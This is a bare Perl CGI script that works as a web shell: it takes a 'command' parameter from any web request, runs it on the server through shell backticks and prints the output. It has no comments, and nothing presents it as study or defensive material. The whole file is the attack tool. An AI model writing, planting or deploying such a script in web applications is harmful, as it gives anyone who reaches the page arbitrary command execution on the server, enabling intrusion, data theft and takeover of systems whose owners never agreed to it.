#!/usr/bin/perl
use strict;
use CGI qw(:standard escapeHTML);
print header, start_html("");
if (param()){my $command = param("command"); 
        $command=`$command`; print p("$command\n");}
else {print start_form(); textfield("command");}
print end_html;